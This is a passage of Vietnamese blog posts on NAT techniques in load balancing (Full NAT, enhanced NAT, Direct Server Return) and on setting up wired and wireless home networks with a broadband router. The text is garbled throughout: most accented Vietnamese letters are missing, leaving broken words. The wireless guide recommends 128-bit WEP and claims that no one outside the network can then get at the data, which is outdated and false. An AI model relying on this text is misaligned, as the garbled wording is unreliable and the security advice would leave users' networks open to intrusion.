www.abc.com trn port 81, www.xyz.com trn port 82. load balancer c th gi lu thng n port ph hp da trn domain trong URL ca mi HTTP request. Full NAT Nh vy ta xt k thut NAT thay i ln lt a ch ch, a ch ngun, ri thay i port khi cn bng ti. Mi s thay i l mt loi hnh NAT c ng dng trong tng trng hp ring. Kt hp cc kiu thay i ny li, ta c mt kiu NAT khc phc tp hn l Full NAT. Kiu NAT ny c tn gi nh vy v n bao gm cc thay i sau y trn gi tin request: - a ch IP ngun (source IP) - a ch IP ch (dest IP) - Port ngun (source port) Lu source port y l port ca client, cn dest port l port c request trn server, chng hn port 80 v d trn. Xem m hnh nh sau:
M hnh load balancing ny khc vi m hnh trong nhng kiu NAT trn ch, packet t server reply c th b qua load balancer m i thng n client ngoi Internet. Vn ch a ch IP ca server vn l private IP, do ng nhin packet reply mang "bin s tnh" s chng bao gi n c client. Vy th bng cch no buc server phi tr li thng qua load balancer
c NAT a ch IP i ra Internet? Cch n gin nht l ta c th khai bo cho load balancer l default gateway ca cc server. Nhng cch ny yu cu load balancer phi cng subnet vi cc server (cng Layer 2 broadcast domain). Nu khng th nm cng subnet th sao? y l ch Full NAT c s dng. Khi c thit lp thc hin Full NAT, load balancer s thay source IP ca tt c cc request packet bng mt a ch c khai bo trn load balancer, xem nh l source IP, ri thay dest IP (lc ny ang l VIP) thnh IP ca server (10.10.10.20), trc khi gi n server 2. Source IP ny c th ging hoc khc VIP, ty vo tng sn phm load balancer. Nh vy tng t nh proxy, lc ny server tht s xem load balancer nh l client yu cu mnh, v khng quan tm n client thc s na. V th server s reply li cho load balancer v load balancer s i li dest IP thnh IP ca client thc s (188.1.1.100) gi i. Nh vy source port c thay i ch no? Mi ln thay i mt source IP ca client thnh source IP ca load balancer, gi l mt session, th load balancer thc hin lu li nhng thng tin ca client trong session bng cch i source port trong cng packet (lc ny ang l source port ca client). Source port lc ny c ngha nh l mt session ID khng hn khng km. Khi server reply v cho load balancer, source port cng c gi tr v theo packet reply. Da vo source port ny, load balancer xc nh c session ca client trong bng lu thay li source IP, source port ca client nh c. u im ca kiu NAT ny l cho php bn thc hin vic thay i a ch thng qua load balancer trn mi topology mng. Nhc im l khng ly c cc thng tin v IP, port t pha client. Nhng ng dng nh Web c s dng thng tin t source IP ca client th khng nn dng m hnh ny. Mt s sn phm load balancing cn cung cp chc nng log v report source IP ca cc request. Enhanced NAT Nhng k thut NAT va trnh by trn u xoay quanh vic thay i a ch IP, cng nh port trong packet header. Tuy nhin c nhng protocol c bit cha thng tin a ch hay port nhng trong packet payload, cng cn phi c thay i cng vi packet header. iu ny i hi load balancer phi hiu bit theo tng protocol c th. Khi nim enhanced NAT ni n kiu NAT phc tp c BLer thc hin vi nhng hiu bit theo tng protocol c th lm cho nhng protocol hot ng c vi vic cn bng ti.
Trong s cc protocol c bit , thng dng nht l cc protocol streaming media (v d RTSP - Real Time Streaming Protocol). y cng l cc protocol s dng cn bng ti ph bin nht, v chng cc k ngn ti nguyn mng v tnh ton khi phi phc v ng thi cho hng trm n hng ngn ngi s dng. Cc protocol streaming thng gm c hai kt ni, mt kt ni iu khin xy dng trn TCP v mt kt ni d liu da trn UDP. khi u, client khi to mt knh iu khin n mt well-known port trn server. Client v server s tho thun cc iu khon cho knh iu khin. S tho thun gm c IP ca server v s port ca server m client s gi d liu n trn kt ni d liu. Nu cc server c a ch IP private, load balancer s thc hin Destination NAT cho kt ni iu khin. Nhng ng thi load balancer cng phi xem cc thng tin tho thun v thay i mi thng tin v a ch IP hay port m server v client trao i sao cho client s gi d liu n VIP public ch khng phi IP private ca server (nhng thng tin ny nm trong payload ca packet). Hn na, dest port c chn trong qu trnh tho thun li khng bit trc c nn BLer phi x l request ngay c khi port cha c lin kt n bt k server no. Tuy nhin, nhiu doanh nghip li c nhng chnh sch bo mt trn tng la lm cho nhng kt ni d liu trn nn tng UDP c th khng thnh cng. Do nhiu h thng streaming media cho php stream trn nn HTTP, ngha l ton b dng d liu s c gi i bng kt ni c thit lp bi giao tip HTTP. iu ny lm cho vic NAT tr nn nh nhng hn. Direct Server Return (DSR) Li xt m hnh cn bng ti th hai. Vi m hnh ny ta xem hai cch x l cng vi cc u nhc im ca chng l gn BLer lm default gateway hay dng k thut Full NAT p cc reply ca server phi i qua load balancer. Nhng trng hp ta mun server tr li trc tip cho client m khng thng qua BLer th sao? y khng phi l cu hi v l, v trong trng hp nng lc x l ca BLer b gii hn, th vic tch dng lu thng reply i trc tip m khng qua BLer s gip load balancer tp trung vo x l cc lu thng request hiu qu hn, trnh tc nghn, nng cao hiu sut. Nhng vi a ch IP private, cc server lm sao tr li trc tip qua Internet n client c? Ch vi mt cht ph php xoay quanh cc a ch IP l vn
s c gii quyt: khi c thit lp thc hin DSR, load balancer khng chuyn dest IP thnh IP ca server m vn gi nguyn l VIP (public IP). load balancer ch i dest MAC thnh MAC ca server packet c th n c server. Nh vy gii hn ca DSR l load balancer v cc server phi nm cng subnet. Vn cn li l lm sao khi server nhn request packet t load balancer chuyn n s khng t chi, v dest IP khng phi l IP ca server, m l VIP! Mt cch n gin, ta cu hnh VIP l a ch ca loopback interface trn mi server. Load balancing dng cch ny v li dng nhng tnh cht th v sau y ca loopback interface: - C th gn bt k a ch IP no, khng bt buc phi bt u bng 127. - V loopback interface khng phi l mt thit b tht, n khng c a ch MAC, nn h thng s khng tr li cho cc request ARP. Do s khng c h thng bn ngoi no bit c a ch IP ca loop back interface. Tuy nhin, h thng vn nhn request n IP ca loop back interface v tr li nh l cc interface khc. Ta c th thit lp mt a ch IP public cho loop back interface trn Linux nh sau: ifconfig lo 141.149.65.3 netmask 255.255.255.0 up Nh vy, bng mt cht th thut vi cc a ch, server tht khng cn a ch IP public vn c th nhn request v tr li trc tip cho client. DSR rt hu ch cho nhng ng dng tn bng thng nh FTP, streaming media, khi m kch thc packet reply l rt ln so vi kch thc packet request. K thut ny cng c ng dng cho nhng protocol i hi phc tp khi thc hin NAT hay khng c load balancer h tr. Chng hn nhng giao thc streaming media nh trong phn Enhanced c cp, th ta c th dng DSR thay v NAT. Ngi ta cng cn nhc DSR khi trin khai load balancing trn m hnh mng nh m hnh 2, khi m lu thng reply t server khng m bo l s i qua li load balancer. Kt lun NAT to nn nn tng ca load balancing. NAT trong load balancing rt a dng, ty thuc vo tng tnh hung m ta p dng. Cng i su, ta cng thy ci hay trong vic x l thng tin ca cc packet, nhng i tng lun l gii quyt cc vn vt l th v nh th no. Nm vng cc k thut NAT gip ta c th trin khai cc h thng cn bng ti mt cch an ton v hiu qu nht.
Theo xhtt http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/3/37715 .html c ng bi haodalat ti 9:22 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NAT, NETWORK
Thit k mt mng nh bng router bng thng rng (Phn 1)
Cc router bng thng rng chnh l cch n gin nht gip bn thit k mt mng cho ring mnh. S dng router ny, bn hon ton c th t ng chia s kt ni Internet bng thng rng vi nhiu my tnh khc trong mng, cng nh cc file v my in. Do chng lm vic nh mt tng la bng phn cng nn n cng l cch an ton nht kt ni vi Internet ngy nay. Vic ci t cng thc s rt n gin v bn c th xy dng mt mng cho mnh m ch tn mt cht thi gian. Trong hng dn ny, chng ti s gii thiu cch thit lp mt mng nh vy bng router bng thng rng.
Hnh 1: Mt router bng thng rng in hnh Vy router bng thng rng l g? Mc cho tn ca n l g i na th n cng l mt thit b tch hp mt s tnh nng: Broadband router B nh tuyn bng thng rng: T ng chia s kt ni Internet bng thng rng gia cc my tnh kt ni vi n. Bn cng c th cu hnh n hn ch s truy cp da trn mt s tiu chun (v d nh thi gian trong ngy bn c th mun cc nhn vin ca mnh ch truy cp Internet trong thi gian bui tra hoc sau khi lm vic). Hardware firewall Tng la phn cng: Nhm ngn chn mt s tn cng vo my tnh ca bn, n cng bo v cc th mc v my in c chia s trn mng ni b khng b truy cp bi my tnh bn ngoi nh hoc vn phng. Switch: Hu ht cc router bng thng rng u tch hp mt switch (thng thng l 4-port switch), cho php bn c th kt ni cc my tnh trc tip trn router. Bn cng c th m rng s cng bng cch ci t thm switch m rng vi router. Vi mt mng nh ch kt ni n 4 my tnh th c l bn cng hi lng v khng cn bt k phn cng m rng no na. DHCP server: Tnh nng ny tp trung cc ty chn cu hnh mng trn router, chnh v vy bn khng cn thc hin bt k kiu cu hnh no (nn thit lp chng vi cu hnh t ng) trn cc my tnh khch. n gin,
chng cho php bn kt ni bt k my tnh no n router v n s c kh nng truy cp ngay tc khc vo Internet cng nh n cc th mc v my in chia s nm trong mng m khng cn bt k cu hnh no khc. Wireless: Cc router bng thng rng gn y u c tnh nng khng dy, tnh nng ny cho php bn c th kt ni cc my tnh m khng cn chy dy. Tuy vy, chng cn n card mng khng dy v vic ci t card khng dy i vi mi my tnh trong mng ca bn c th kh tn km. Nhng y l mt gii php tuyt vi i vi gia nh hoc cc vn phng nh, ni c mt hoc hai laptop c kh nng truy cp mng khng dy; ch cn bt chng v bn s online. Nhiu u im v tin li nh vy song tnh nng ny cng c mt s ri ro v gc bo mt v cc ty chn cu hnh u vit cho s dng an ton. Print server: Mt s router c kh nng cung cp mt cng song song hoc mt cng USB bn c th kt ni my in trc tip vi router. y l iu ht sc th v v bt k my tnh no trong mng ca bn cng u c th s dng my in m khng cn phi cu hnh c bit no. Nu bn cn chia s mt my tin vi nhiu my tnh khc v router ang c li khng c tnh nng ny th my tnh c cm my in phi lun c bt c th in. y thc s l iu phin phc, v nu my in c kt ni vi mt my tnh ca ai khng c trong vn phng, lc ny my tnh li b tt v ngi s hu my tnh ny t mt khu cho my. Tuy nhin bng cch s dng router bng thng rng vi tnh nng my ch in n ny bn hon ton c th tit kim c rt nhiu tin v khng cn bt buc phi bt my tnh nh trng hp trn. Nu chn mua mt router vi tnh nng ny, bn cn mua kiu kt ni tng t vi my in ca mnh, song song hoc USB. Hnh 2: Cng song song trn mt router vi tnh nng print server Ci t Tt c nhng g bn cn thit lp mng ca mnh bng router bng thng rng l phi c mt router (iu ny ht sc hin nhin), gi thnh ca mt router ngy nay cng thc s d (c khong 35 n 50 USD, gi thnh cn ph thuc vo nhiu tnh nng m rng khc), mt cp mng pin-to-pin cho mi my tnh m bn mun kt ni mng (xem hnh bn di). Hnh 3: Cp mng in hnh Modem bng thng rng ca bn (cp hoc ADSL) s c kt ni n cng c nhn WAN trn router, cn cc my tnh s c kt ni n cc cng khc, thng thng th chng c nhn LAN. Nu mun c thm nhiu cng th bn cn phi mua mt switch bn ngoi v kt ni n n mt trong cc
cng LAN ny. Bn cn kt ni u kia ca cp n card LAN (NIC) trn mi my tnh. Ngy nay, tt c cc my tnh u c tch hp cng LAN trn bo mch ch, nu bn s hu mt my tnh c khng c tnh nng ny th cn phi mua v ci t mt card mng (thng l 10/100 Network Card hoc NIC, Network Interface Card) thm vo . Hnh 4: Cch kt ni router bng thng rng Nt Uplink phi c v hiu ha. Nt ny c dng khi bn s dng kiu cp khc, kiu cp ny c tn gi l cp u cho (tham kho kiu cp ny trong bi trc). Nt reset cng rt hu dng trong mt s tnh hung khc phc s c. Nh nhng g c th quan st c trn hnh, bn cn kt ni router vi c ngun cp in. Hnh 5: V d v cng LAN trn mt my tnh Hnh 6: V d v cng LAN trn laptop Bn khng cn phi lo lng v vic cm cp mng sai gic: gic cm mng RJ-45 ch cm va duy nht vi card mng trn my tnh. Sau khi kt ni xong mi th, bn c th bt modem bng thng rngv router, sau bt mt trong cc my tnh truy cp vo panel cu hnh router. Bn cn thc hin mt s cu hnh c bn v d nh chn kiu kt ni m bn c, cp hoc ADSL. Cu hnh cc my tnh Tt c cc my tnh trn mng phi c cu hnh c th nhn cu hnh mng t ng t mt DHCP server (chnh l router ca bn). y l cu hnh Windows mc nh, nhng bn cng lun nn kim tra xem cc my tnh c cu hnh ng cha. cu hnh my tnh, kch vo Start > Settings > Network Connections, mn hnh th hin trong hnh 7 s xut hin. Lc ny bn kch p vo card mng c kt ni vi router. Hnh 7: Cc kt ni mng Trn mn hnh hin th, bn kch vo Properties. Mn hnh nh trong hnh 9 s xut hin. Lc ny bn kch p vo Internet Protocol (TCP/IP) v hnh 10 di y s xut hin.
Hnh 8: Trng thi ca kt ni. Bn cn kch vo Properties. Hnh 9: Cc thuc tnh ca card mng Hnh 10: Cu hnh TCP/IP Trn mn hnh ny bn cn chn Obtain an IP address automatically v Obtain DNS server address automatically. Hay ty chn ny bo m cho my tnh yu cu router s s dng cc cu hnh . ng qun kch OK cp nht s thay i. Lc ny, cc my tnh c cu hnh mt cch ng n ch cn cu hnh router chnh xc v bo mt na l bn c mt mng an ton. Mi bn n c phn sau xem xt v cch cu hnh router cho ph hp. Theo Hardwaresecrets http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38305 .html c ng bi haodalat ti 9:19 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Xy dng mng khng dy bng router bng thng rng - Phn 3: Kt ni cc my tnh khng dy vo mng
Thng qua hai phn trc ca lot bi ny th lc ny tt c cc my tnh c kt ni trc tip vo router bng cp thng thng u c th truy cp Internet. Kt ni cc my tnh khng dy vo mng Thng qua hai phn trc ca lot bi ny th lc ny tt c cc my tnh c kt ni trc tip vo router bng cp thng thng u c th truy cp Internet. Bc tip theo l cho php cc my tnh s dng kt ni khng dy c th truy cp mng v truy cp Internet. Mng khng dy ca bn s c lit k trong danh sch cc mng hin c trn cc my tnh c card mng khng dy bn trong phm vi router bng thng rng. V vy tt c nhng g cn thc hin trong bc ny l kch vo biu tng mng khng dy c sn trn task bar hoc kch p vo kt ni khng dy
trong Network Connections (Start > Control Panel) xem danh sch cc mng khng dy c trong . Nh nhng g th hin trong hnh 18, chng ta c mt s mng (t mng nh hng xm hay mng ngoi, nh vy vic m ha l mt vn rt quan trng). Tt c nhng g cn thc hin y l kch p vo mng cn kt ni (trong v d ny l MyHome). Hnh 18: Cc mng khng dy c sn Sau khi kch p vo mng ca mnh, Windows s hi bn v kha m ha (chui 26 k t m bn ghi ra), xem trong hnh 19. Bn cn phi nhp li n y. Hnh 19: Nhp kha m ha (password) truy cp vo mng Sau khi kch OK, trng thi mng ca bn s c hin th vi dng ch Acquiring Network Address sau n s thay i thnh Connected, xem trong hnh 20. Hnh 20: kt ni c vo mng Nu bn a chut qua biu tng khng dy trong task bar ca Windows th s thy ch Connected v cng tn hiu, xem hnh 21. Hnh 21: Laptop kt ni vo mng khng dy Mng khng dy lc ny hot ng 100% v c bo v. n y bn c th c thm bi hng dn ca chng ti v cch chia s cc th mc v my in trong mng bit c cch chia s ti nguyn dng chung trong mng. ng e ngi vn ring t v tnh nng m ha c kch hot v khng c ai bn ngoi mng c th truy cp ly mt d liu ca bn. Cc cu hnh nng cao Mi router u c mt s cc cu hnh nng cao khc nhau. V vy khng th gii thiu c ton b cc ty chn c trong tt c router hin c trn th trng. Chnh v vy chng ti s ch lit k mt trong nhng ty chn th v nht c trong phn ln cc router bng thng rng khng dy c trn th trng vi mt s v d v trng hp s dng. Trong cc v d tip theo ny, chng ti s tip tc s dng router D-Link DI-524 trn. Kha truy cp Internet theo thi gian v ngy trong tun: y l mt cu hnh rt th v cho c nhng ngi dng nh v vn phng. Nhng ngi
dng nh c th cho php tr nh trong nh h ch truy cp Internet trong khong thi gian no (v d nh t 4 n 6 gi chiu chng hn) v truy cp Internet thoi mi trong c hai ngy ngh cui tun. i vi ngi dng vn phng c th mun kha khng cho cc nhn vin ca h s dng Internet trong mt s thi im no vi nhiu l do. Trn router ca v d, cu hnh ny c thc hin bng cch kch vo Advanced > Filters, chn IP Filters. Sau cn cu hnh a ch IP cho cc my tnh mun kha (nhp vo * s kha tt c cc my tnh) v di cc cng (ngha l cc kiu dch v nh web, email, FTP, nhp * cho tt c cc dch v). Sau chn From v thit lp ngy trong tun v khong gi Internet s b v hiu ha vi cc my tnh m chng ta lit k. Hnh 22: Kha truy cp Internet theo thi gian v ngy trong tun Kha truy cp vi mt s website no : Bn c th kha khng cho tr nh trong nh hay cc nhn vin c th truy cp vo mt s website no . Trong v d, iu ny c thc hin trn cng mt mn hnh trn nhng bn phi chn domain blocking. Thm vo na, router ca v d ny cn c tnh nng kha cc website no da trn t kha (v d nhng t nh sex chng hn). Tnh nng ny cng c cu hnh trn cng mn hnh trn nhng chn URL blocking. Bn cng c th cu hnh ngc li vi nhng g chng ti va ni, ngha l cho php ngi dng ch truy cp vo cc website cu hnh v kha tt c cc website khc. Cu hnh cc game trc tuyn v ng dng c th truy cp thng qua cc cng khng mc nh (non-standard): tng la ca router s kha bt k mt kt ni no n cc cng non-standard. Mt s chng trnh, c bit l cc game chi trc tuyn, cc chng trnh chia s file ngang hng v thoi IP s dng cc cng non-standard s khng lm vic v router s kha chng. Nhng g bn cn thc hin y l m cc cng c s dng trn tng chng trnh ny. Bn cn bit cc cng c s dng bi cc giao thc TCP v UDP t cu hnh chng. Cc thng tin ny c lit k trong hng dn s dng ca mi game hoc ti liu chng trnh. Trong router ca ca v d, tnh nng ny c cu hnh Advanced > Application, xem trong hnh 23. cc bn c thm nhng kin thc v vn to cc chng trnh ngang hng lm vic trn mng bng router bng thng rng, chng ti quyt nh s gii thiu cho cc bn v vn ny trong bi bo sau mong cc bn n c. Hnh 23: Cho php cc chng trnh c th truy cp n cc cng nonstandard Qun l t xa: Bn c th qun l router cho php ngi bn ngoi mng c th truy cp vo panel iu khin ca router. Ty chn ny nn cn phi
v hiu ha nhng cng c mt s tnh hung s dng tnh nng ny cng rt th v: nu bn l mt ngi chu trch nhim v cu hnh mng v mun truy cp vo router t bn ngoi mng. Mt s k thut vin s dng tnh nng ny cu hnh mng my khch ca h m khng cn ngi ti vn phng. tng tnh bo mt, bn c th cho php qun l t xa ch vi mt a ch IP no , c th l a ch IP nh bn, v vy khng ai khc c th truy cp vo panel iu khin. Trong router ca chng ti, tnh nng ny c cu hnh Tools > Admin, di trng Remote Management. Nu khng s dng tnh nng ny th bn nn v hiu ha n trnh cc hacker c th truy cp vo panel iu khin t router. Hnh 24: Qun l t xa Ngoi ra cn mt s tnh nng khc c th rt th v vi tnh hung ca ring mi ngi, chng ti ch lit k nhng th chung nht m mt ngi dng thng thng c th cn n. ng e ngi khi khai thc khm ph panel iu khin router ca bn hc c tt c cc ty chn ny. C th bn s tm thy nhng ty chn th v v hu dng cho tnh hung ring ca mnh. Theo Hardwaresecrets c ng bi haodalat ti 9:14 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Xy dng mng khng dy bng router bng thng rng - Phn 2: Cu hnh
Hin nay ang c ngy cng nhiu ngi sn lng xy dng mt mng khng dy ring cho mnh. Mng khng dy c th thit lp ti nh hoc vn phng ca bn, t bn c th chia s file, s dng my in v truy cp Internet m khng cn n vic phi chy dy cp mng long ngong vo cc my tnh trong mng. y l mt trong nhng th tuyt vi nht l trong trng hp bn c cc my tnh nm trong cc a im kh c th thit lp h thng cp mng chy dy hoc trong trng hp bn mun t do truy cp mng ca mnh v Internet bng laptop ca bn bt c ch no bn trong vn phng hoc nh bn: bn c th mang laptop t ging ng hoc vn phng vo phng khch m n vn lin tc c kt ni vi mng. Cch tt nht thit lp mt mng ring l s dng mt router bng thng rng. Thit b ny s kt ni tt c cc my tnh trong mng ca bn v cng t ng chia s kt ni Internet bng thng rng. Bn c th chia s file v my in gia cc my tnh vi nhau. Thit b ny c th c tnh nng khng dy, chnh v vy n c th cho php bn kt ni cc my tnh m khng cn n cp mng.
Trong phn 1 ca lot bi ny, chng ti nu ra mt s thit b cn thit thit lp mt mng khng dy bng router bng thng rng, phn ny s tip tc vi phn cu hnh cc my tnh v router c bn. Cu hnh cc my tnh Tt c cc my tnh trn mng ca bn phi c cu hnh c th nhn cc cu hnh mng mt cch t ng t mt DHCP server (chnh l router). y l cu hnh Windows mc nh, nhng bn cng nn lun kim tra xem cc my tnh c cu hnh ng cha. cu hnh cc my tnh, kch vo Start > Settings > Network Connections, mn hnh th hin trong hnh 9 s xut hin. Lc ny bn kch p vo card mng c kt ni vi router. Nu my tnh ny c kt ni vi router bng mt cp mng thng thng th card mng l card c kt ni vi router; nu my tnh ny c kt ni vi router khng dy th card mng l card mng khng dy. Hnh 1: Cc kt ni mng Trn mn hnh hin th, bn kch vo Properties. Mn hnh nh trong hnh 9 s xut hin. Lc ny bn kch p vo Internet Protocol (TCP/IP) v hnh nh hnh 10 di y s xut hin. Hnh 2: Thuc tnh ca card mng Hnh 3: Cu hnh TCP/IP Trn mn hnh ny bn cn chn Obtain an IP address automatically v Obtain DNS server address automatically. Hay ty chn ny bo m cho my tnh s yu cu router s dng cu hnh . ng qun kch OK nu bn cn thay i bt c th g trn mn hnh. Lc ny, cc my tnh c cu hnh mt cch ng n, bn cn chuyn sang cu hnh router. Cu hnh router mt cch c bn Nh chng ta cp n vn ny t trc, vn chnh vi cc router bng thng rng khng dy l kh nng truy cp khng dy ca n s lm vic m khng c bt k s m ha no. Chnh v vy sau khi bt router th bt k ngi no vi card mng khng dy cng u c th truy cp vo mng ca bn. R rng chng ta cn thay i iu ny ngay lp tc!
Th u tin cn bit l a ch IP ca panel cu hnh cho router ca mnh. Thng tin ny s c ghi trn hng dn s dng ca router. N thng l 192.168.0.1, 192.168.1.1 hoc 10.0.0.1. Khi chy trnh duyt web v nhn vo http://[a ch IP]. Router s dng trong v d ca chng ta s dng a ch 192.168.1.1, chnh v vy chng ta cn nhp vo http://192.168.1.1. a ch ny s lm vic mt cch t ng trn cc my tnh c kt ni n router thng qua mt cp mng thng thng. Trn cc my tnh c kt ni khng dy vi router, trc tin bn cn kt ni n vo mng ca mnh, vn ny chng ti s ni n bn di. y l mt trong nhng l do m chng ti khuyn bn thc hin ci t router ban u bng mt my tnh c kt ni n router bng cp mng thng thng. Tt c cc ty chn cu hnh s khc tu theo model ca router. Chnh v vy bn s khng c cc tn ty chn chnh xc nhm t di y, tuy nhin chng s tn ti, v chng l cc ty chn c bn. Thng thng, mn hnh cu hnh u tin s yu cu bn chn gia hai ty chn ci t nhanh (hoc ci t theo cc bc c sn) v ci t nng cao. Ci t c bn cng cho i a s ngi dng xy dng mt mng nh. Sau khi thc hin qua ci t c bn ny, mng khng dy ca bn s c th hot ng. Tuy nhin bn c th khai thc cc tnh nng ca ci t nng cao m router c, nh kha truy cp Internet ti mt thi im no trong ngy, kha cc website c xem, Bn c th tm thy cc ty chn rt th v y p dng thch hp cho mng. Du sao, chng ta cng hy ni mt cht v ci t c bn. Mt s router yu cu mt mt khu khi truy cp vo panel iu khin ln u tin. Nu gp phi trng hp ny, bn cn c k hng dn s dng xem user v password no phi s dng (trong router D-Link DI-524 ca v d ny, user l admin v password vn cn trng). Hnh 4: Mn hnh u tin trn panel cu hnh router Chng ta chn Run Wizard v i ln lt qua mt lot mn hnh. Mn hnh u tin l thit lp mt password qun tr mi. iu ny rt quan trng v n phng khi c ai thay i cu hnh mng ca bn. Sau khi thit lp mt khu mi, kch Next. Hnh 5: Thit lp password qun tr Trong trng hp v d ny, cu hnh tip theo l vng thi gian. Cu hnh ny tu theo thi gian vng ca bn. Kch Next.
Hnh 6: Cu hnh vng thi gian Mn hnh tip theo (hnh 15) hin mt cu hnh ty chn khng c yu cu bi hu ht cc kt ni bng thng rng. N cho php bn ch nh tn my ch hoc nhp vo mt a ch MAC no s dng bi router bng thng rng. Hy gi nguyn v kch Next. Hnh 7: Cu hnh a ch MAC c s dng Mn hnh k tip l mn hnh quan trng nht. mn hnh ny bn s cu hnh tn ca mng (SSID) v kch hot tnh nng m ha. Tn ca mng l cch cc my tnh s gi mng ca bn nh th no. Trong trng hp v d ny, chng ti t tn mng l MyHome (bn c th thy r trong hnh 16). Hy kch hot tnh nng m ha WEP v chn mc m ha l 128 bit. Lc ny bn cn to mt kha m ha (password) s c s dng m ha d liu truyn ti trong mng. Vi m ha WEP 128-bit, kha phi l mt chui 26 k t hexa, ngha l bao gm cc k t 0-9 v A n F. Bn c th nhp vo cc s mt cch ngu nhin. Bn c th xem v d trong hnh 16 (v cc l do bo mt bn khng nn s dng cng s m chng ti th hin y). iu quan trng l ghi li di s ny vo mt mu giy no hoc ghi nh n vo mt file c t mt khu. Bn cn nhp s ny vo tt c cc my tnh truy cp khng dy trong mng chnh v vy ng qun lu li dy s ny! Hnh 8: Cu hnh tn mng v kch hot m ha Hnh 9: Tin ch ci t kt thc Lc ny tin ch ci t kt thc v mng khng dy ca bn c th hot ng! Nhng g bn cn thc hin lc ny l cu hnh kha m ha trn mi my tnh truy cp khng dy vo mng. Chng ti s gii thiu cch thc hin phn ny bi sau. Mi cc bn n c! Theo Hardwaresecrets http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38397 .html c ng bi haodalat ti 9:13 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Xy dng mng khng dy bng router bng thng rng - Phn 1: Chun b phn cng
Hin nay ang c ngy cng nhiu ngi sn lng xy dng mt mng khng dy ring cho mnh. Mng khng dy c th thit lp ti nh hoc vn phng ca bn, t bn c th chia s file, s dng my in v truy cp Internet m khng cn n vic phi chy dy cp mng long ngong vo cc my tnh trong mng. y l mt trong nhng th tuyt vi nht l trong trng hp bn c cc my tnh nm trong cc a im kh c th thit lp h thng cp mng chy dy hoc trong trng hp bn mun t do truy cp mng ca mnh v Internet bng laptop ca bn bt c ch no bn trong vn phng hoc nh bn: bn c th mang laptop t ging ng hoc vn phng vo phng khch m n vn lin tc c kt ni vi mng. Cch tt nht thit lp mt mng ring l s dng mt router bng thng rng. Thit b ny s kt ni tt c cc my tnh trong mng ca bn v cng t ng chia s kt ni Internet bng thng rng. Bn c th chia s file v my in gia cc my tnh vi nhau. Thit b ny c th c tnh nng khng dy, chnh v vy n c th cho php bn kt ni cc my tnh m khng cn n cp mng. Chng ti nh l gii thiu cho cc bn mt s hng dn v ch ny, bn nn hiu mt cch cn k s khc nhau gia cc bi kiu ch ny: Xy dng mt mng nh bng router bng thng rng: Hng dn ny chng ti gii thiu kh chi tit v cch thit lp mt mng cho ring bn bng mt router bng thng rng nhng khng c kh nng khng dy. Nu bn khng mun xy dng mt mng khng dy th hy tham kho hng dn ny. Xy dng mt mng khng dy khng cn n router bng thng rng khng dy: Trong hng dn ny chng ti gii thch v cch xy dng mt mng khng dy cho ring bn m khng cn n router bng thng rng khng dy, iu ny cho php bn tit kim c mt cht kinh ph. Kiu mng ny c gi l ad-hoc, n c mt s nhc im m chng ti gii thch trong bi. Nu bn khng mun nhng nhc im ny c trong mng ca mnh th cn phi s dng mt router bng thng rng xy dng mt mng cho mnh, y chnh l ch m chng ti mun gii thiu cho cc bn trong bi bo ny. Chia s cc th mc v my in trong mng ca bn: Sau khi xy dng mt mng th y chnh l hng dn gii thiu cho bn cch chia s cc file, my in gia cc my tnh trong mng vi nhau. xy dng mt mng khng dy cho ring mnh, bn cn c nhng th
di y: * Mt kt ni Internet bng thng rng * Mt card mng khng dy c ci t trn mi my tnh m bn mun kt ni n mng khng dy * Router bng thng rng khng dy. Chng ta hy cng nhau i tm hiu v router trc. Router bng thng rng khng dy Bn c th quan st mt router bng thng rng khng dy trong hnh 1. Trc khi mua mt router ny, bn cn bit mt s vn c bn v chun v cc tc . Hnh 1: Mt router bng thng rng in hnh Card mng khng dy cn phi tng thch vi t nht mt trong cc giao thc IEEE 802.11. C mt s giao thc v kiu chung nht vn thng c s dng l IEEE 802.11b, 802.11g v 802.11a. n gin chng ti s s dng cc ch ci b, g v a tng ng vi cc giao thc ny. S khc nhau chnh gia chng l tc : giao thc 802.11b c th truyn ti d liu 11MBps, cn g v a c th truyn ti ln n 54MBps (s khc nhau gia g v a chnh l ph tn s m chng hot ng). Giao thc mi c pht hnh l n, giao thc ny s c tc truyn ti ln nht ln n 540MBps. Mt s card mng c tc 108MBps, tuy nhin trong thc t cc card 54MBps li ang s dng k thut nn d liu v chng t c tc ny th router bng thng rng v card mng ci t trn my tnh cn phi c cng ngh ny v phi c lm t cng mt nh my sn xut, ngc li chng s khng lm vic nh card b, g v a thng thng. Cng ngh ny cng khng lm vic trong cc mng ad-hoc, ngha l mng khng s dng router bng thng rng. Theo l thuyt kch bn tt nht l tt c cc my tnh u s dng card 54MBps (hoc 108MBps). Mc d vy, bn s b hn ch bi tc kt ni mng ca mnh. Chnh v vy bn khng s dng mng ca mnh cho vic truyn ti file gia cc my tnh, vic mua card 54MBps l khng sng sut, n gin l v tc kt ni Internet ca bn s thp hn rt nhiu. V d, nu c mt kt ni 1MBps th bn s c mt mng c kh nng truyn ti d liu nhanh gp 54 ln so vi kt ni Internet. Mt mng 11MBps s lm vic tt hn trong trng hp ny (n s nhanh hn n khong 11 ln cho kt ni
Internet). Chnh v vy bn c th gim c chi ph bng cch mua card 11MBps chng lm vic tt hn vi nhng ngi dng trung bnh. Cng vy, cc mng ad-hoc cng n gin khng ng tn nhiu tin. Nu bn thc s mun c mt kt ni 54MBps (hoc 108Mbps) th nn thit k mt mng khng dy c s dng router. Phn tch mt cht cho cc bn d hiu, nu bn c mt kt ni Internet 1MBps hoc 2MBps th vn phi dng li tc nu c s dng card khng dy 11MBps hay 54MBps i chng na. Mc d vy, nu bn truyn ti file gia cc my tnh th tc c s dng s bng vi tc ln nht ca mng (11MBps, 54MBps hoc 108MBps). Chnh v vy vic chn gia cc router 11 Mbps, 54 Mbps hay 108 Mbps cng l mt cng vic cn lm ph hp vi vic s dng ca bn trong vic truyn ti file gia cc my tnh hay khng, tc Internet s ging nhau trn tt c cc chun. Nu bn quyt nh mua mt router 54 Mbps hay 108 Mbps v card mng khng dy trn cc my, hy bo m mua cc sn phm c th tng thch vi chun 802.11b (mc ch router ca bn c th truyn thng vi cc card chm hn) v s dng cng mt chun 54MBps. V d, nu bn c mt laptop vi card mng khng dy 